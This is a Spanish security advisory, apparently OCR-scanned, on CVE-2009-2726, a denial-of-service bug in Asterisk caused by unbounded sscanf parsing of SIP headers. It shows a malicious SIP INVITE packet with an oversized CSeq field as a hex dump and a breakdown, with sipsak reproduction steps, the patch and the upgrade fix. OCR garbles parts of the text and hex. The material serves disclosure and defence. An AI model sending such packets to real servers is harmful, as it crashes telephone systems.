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1 Introduccion

Se ha confirmado la existencia de una vulnerabilidad en Asterisk, que podria
permitir a un atacante remoto provocar una denegacion de servicio en los sistemas
vulnerables.

Asterisk es una aplicacion de una central telefénica (PBX) de codigo abierto. Como
cualquier PBX, se pueden conectar un numero determinado de teléfonos para hacer
llamadas entre si e incluso conectarlos a un proveedor de VolP para realizar
comunicaciones con el exterior. Asterisk es ampliamente usado e incluye un gran
namero de interesantes caracteristicas: buzén de voz, conferencias, IVR,
distribucion automaética de llamadas, etc. Ademas el software creado por Digium
esta disponible para plataformas Linux, BSD, MacOS X, Solaris y Microsoft
Windows.

2 Descripcion

Producto: Asterisk

Resumen: Vulnerabilidad remota de tipo DoS
Severidad: Alta

CVE: CVE-2009-2726

Se han reportado mualtiples vulnerabilidades de tipo Denegacién de Servicio que
afectan al Software de telefonia IP Asterisk; dichas vulnerabilidades tienen su
origen en un uso inseguro de la funcién sscanf de la libreria estandar de C.

La funcidn sscanf es la encargada dentro de la libreria estandar de C de leer
datos formateados de una cadena. Lee los datos de la cadena y los almacena de
acuerdo al formato indicado en las localizaciones especificadas por argumentos
adicionales.

int sscanf(const char *cadena, const char *formato,...);

Esta funcién se emplea en varios puntos del cédigo de Asterisk para extraer valores
numeéricos de textos ASCII en mensajes SIP entrantes.

SIP (Protocolo de Inicio de Sesiones) es un protocolo desarrollado con la
intencion de ser el estandar para la iniciacion, modificacion y finalizacion
de sesiones interactivas de usuario donde intervienen elementos multimedia
como el video, voz, mensajeria instantanea o juegos online.

La sintaxis de sus operaciones se asemeja a las de HTTP y SMTP, los protocolos
utilizados en los servicios de paginas Web y de distribucion de e-mails
respectivamente. Esta similitud es natural ya que SIP fue disefiado para que la
telefonia se vuelva un servicio mas en Internet.

Wikipedia
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especifican un tamafio maximo para los campos a extraer con lo que, por defecto,
sscanf asignha un tamafio maximo infinito.

Un ejemplo de uso inseguro de esta funcién seria:

if (lerror && sscanf(cseq, "%d%n", &seqno, &len) 1= 1) {

Si un atacante enviase un mensaje SIP con un gran numero de caracteres ASCII
decimales en la posicidn de un campo que vaya a ser extraido por sscanf podria
llegar a agotar la memoria de la pila produciendo una condicién de DoS.

A continuacién se muestra un ejemplo de datagrama malicioso que provocaria el

DoS:

0000 00 Oc 29 00 00 00 00 50 56 00 00 00 08 00 45 00 ..).y$.P V_.... E.
0010 05 dc cO c2 20 00 40 11 78 fa cO a8 4d 02 cO a8  .... .@. X...M...
0020 4d 01 b7 9e 13 c4 83 Ob 07 de 49 4e 56 49 54 45 M....... - INVITE

0030 20 73 69 70 3a 62 6f 62 40 31 39 32 2e 31 36 38 sip:bob ©@192.168
0040 2e 37 37 2e 31 20 53 49 50 2f 32 2e 30 0d Oa 56 .77.1 S1 P/2.0..V
0050 69 61 3a 20 53 49 50 2f 32 2e 30 2f 55 44 50 20 ia: SIP/ 2.0/UDP

0060 31 39 32 2e 31 36 38 2e 37 37 2e 32 3a 34 37 30 192.168. 77.2:470
0070 30 36 3b 62 72 61 6e 63 68 3d 7a 39 68 47 34 62 06;branc h=z9hG4b
0080 4b 4e 44 66 34 77 6¢ 53 73 44 64 3b 72 70 6f 72  KNDFf4wlS sDd;rpor
0090 74 0d Oa 54 6f 3a 20 22 42 6f 62 22 20 3c 73 69 t..To: " Bob"™ <si
00a0 70 3a 62 6Ff 62 40 31 39 32 2e 31 36 38 2e 37 37 p:bob@19 2.168.77
00b0 2e 31 3e 0d Oa 46 72 6Ff 6d 3a 20 22 41 6¢c 69 63 .1>_.Fro m: "Alic
00cO 65 22 20 3c 73 69 70 3a 61 6Cc 69 63 65 40 31 39 e" <sip: alice@l19
00d0 32 2e 31 36 38 2e 37 37 2e 32 3e 3b 74 61 67 3d 2.168.77 .2>;tag=
00e0 63 48 43 47 73 38 4e 54 51 69 0d Oa 43 61 6¢c 6¢c  CHCGS8NT Qi..Call
00f0 2d 49 44 3a 20 73 69 70 5fF 69 6e 76 69 74 65 5fF -I1D: sip _invite_
0100 62 79 65 2e 69 6e 76 69 74 65 2e 68 65 61 64 65 bye.invi te._heade
0110 72 73 2e 63 2d 73 65 71 2e 76 61 6¢c 75 65 2e 73 rs.c-seq .value.s
0120 65 71 2e 70 72 65 70 65 6e 64 3a 30 2b 6e 72 69 eq.prepe nd:0+nri
0130 54 64 6¢c 7a 37 4d 78 40 6d 75 64 79 6e 61 6d 69 Td1z7Mx@ mudynami
0140 63 73 2e 63 6f 6d 0d Oa 43 53 65 71 3a 20 30 30 cs.com.. CSeq: 00
0150 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 00000000 00000000

05d0 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 00000000 00000000
05e0 30 30 30 30 30 30 30 30 30 30 00000000 00

A continuacién se muestra el mismo datagrama con el contenido desglosado:

###[ Ethernet (###
dst= 00:0c:29:00:00:00
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src= 00:50:56:00:00:00
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type= IPV4
#HL 1P ###
version= 4L
ihl= 5L
tos= 0x0
len= 1500
id= 49346
flags= MF
frag= OL
ttl= 64
proto= udp
chksum= 0x78fa
src= 192.168.77.2
dst= 192.168.77.1
options= **
#it#[ UDP N#t
sport= 47006
dport= sip
len= 33547
chksum= 0x7de
###[ Raw [t

load= "INVITE sip:bob@192.168.77.1 SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.77.2:47006 ;branch=z9hG4bKNDFf4wlSsDd; rport\r\nTo: ""Bob"
<sip:bob@192.168.77._.1>\r\nFrom: "Alice" <sip:alice@192.168.77.2>;tag=cHCGs8NTQi\r\nCall-
ID: sip_invite_bye.invite.headers.c-

seq.value.seq.prepend:0+nriTdlz7Mx@mudynamics.com\r\nCSeq:
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000*

Si revisamos alguno de los parches que corrigen este fallo vemos que se limitan a
afadir valores maximos al tamafio de los campos a procesar por sscanf:

--- pbx/pbx_config.c (revision 211579)

+++ pbx/pbx_config.c (revision 211580)

@@ -947,7 +947,7 @0

- if (sscanf(prior, "%d", &iprior) 1= 1) {

+ if (sscanf(prior, "%30d", &iprior) 1= 1) {

@@ -1486,7 +1486,7 @@
- } else if (sscanf(pri, "%d", &ipri) = 1 &&
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+ } else if (sscanf(pri, "%30d", &ipri) = 1 &&

@@ -1639,9 +1639,9 0@

- if (sscanf(chan, "%d-%d", &start, &finish) == 2) {

+ if (sscanf(chan, "%30d-%30d", &start, &finish) == 2) {
/* Range */

- } else if (sscanf(chan, "%d", &start)) {

+ } else if (sscanf(chan, "%30d", &start)) {

3 Prueba de concepto

Los paquetes SIP necesarios para probar la efectividad de este fallo se pueden
crear con la herramienta Sipsak (SIP swiss army knife), un generador de paquetes
al estilo Nemesis o Scapy pero especializado en el protocolo SIP. Se puede
encontrar mas informacion sobre esta herramienta en su pagina web:
http://sipsak.org/

Para reproducir las condiciones que propician un DoS tan sé6lo hay que enviar un
paquete SIP Invite con alguno de los campos vulnerables (Cseq, Content-Length o
SDP) asignado a un valor numérico muy largo (por ejemplo unos 32768 ceros).

4 Solucion

Actualizar a la ultima version de Asterisk para la rama empleada en las versiones
1.2.34,1.4.26.1, 1.6.0.12y 1.6.1.4.

Més Informacion:
Asterisk Project Security Advisory - AST-2009-005

Remote Crash Vulnerability in SIP channel driver
http://downloads.asterisk.org/pub/security/AST-2009-005.html
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00 Oc 28 £3 79 24|/00 50 56 cO 00 02

D5 dcl [0, c21(20, 00! 40/ 111 [T, £l EEE% %

dst 000c:29:43:79:24__ AT 01l 57 98 A3 ¢4 83 Ob [07 d8)[45 4c 56 40 54 45
src 00:50:56:c0:00:02 ) . —te
i e _ ~— : BT 6F ¢ 39 32 2e 31 36 38
i 2e 37 37 2e 31 20 53 49 50 2f 32 2e 30 0d 0a 56
— 169 61 3a 20 53 49 50 2f 32 2e 30 2f 55 44 50 20
version aL 31 30 32 2e 31 36 38 2e 37 37 2e 32 3a 34 37 30
ihl SL—7 30 36 3b 62 72 61 6e 63 68 3d Ta 39 68 47 34 62
tos 0x0 " —————lab 48 44 66 34 77 6c 53 73 44 64 3b 72 70 6f 72
len 50— /iT4 0d 0a 54 6f 3a 20 22 42 6f 62 22 20 3c 73 69
id 40346 /{70 3a 62 6f 62 40 31 39 32 2¢ 31 36 38 2e 37 37
flags MF /' |2e 31 3e 0d 0a 46 72 6f 6d 3a 20 22 41 6c 69 63
frag oL " |65 22 20 3¢ 73 69 70 32 61 6c 69 63 65 40 31 39
ttl 64 A 132 2¢ 31 36 38 2e 37 37 2e 32 3e 3b 74 61 67 3d
proto udp 7 |63 48 43 4T 73 38 4e 54 51 69 0d 0a 43 61 6c 6c
chksum Oxflfa———— 2d 49 44 3a 20 73 69 70 5f 69 6e 76 69 T4 65 5f
sre 192.168.77.2 —— 82 79 65 2e 69 Ga 76 69 T4 65 2e 63 65 61 64 85
dst 192.168.77.1 72 73 2e 63 2d 73 65 71 2e 76 61 6c 75 65 2e 73
options " 85 71 2e TO 72 65 70 65 8e 64 3a 30 2b 6= T2 69
UBE 54 64 Bc Ta 37 4d 78 40 8d 75 64 79 6e 61 6d B9
e i 63 73 2e 63 6f 6d 0d Oa 43 53 65 71 3a 20 30 30
dport sip 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
e AT 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
At st 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
load 'INVITE sip-bab@19[ ] 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30|
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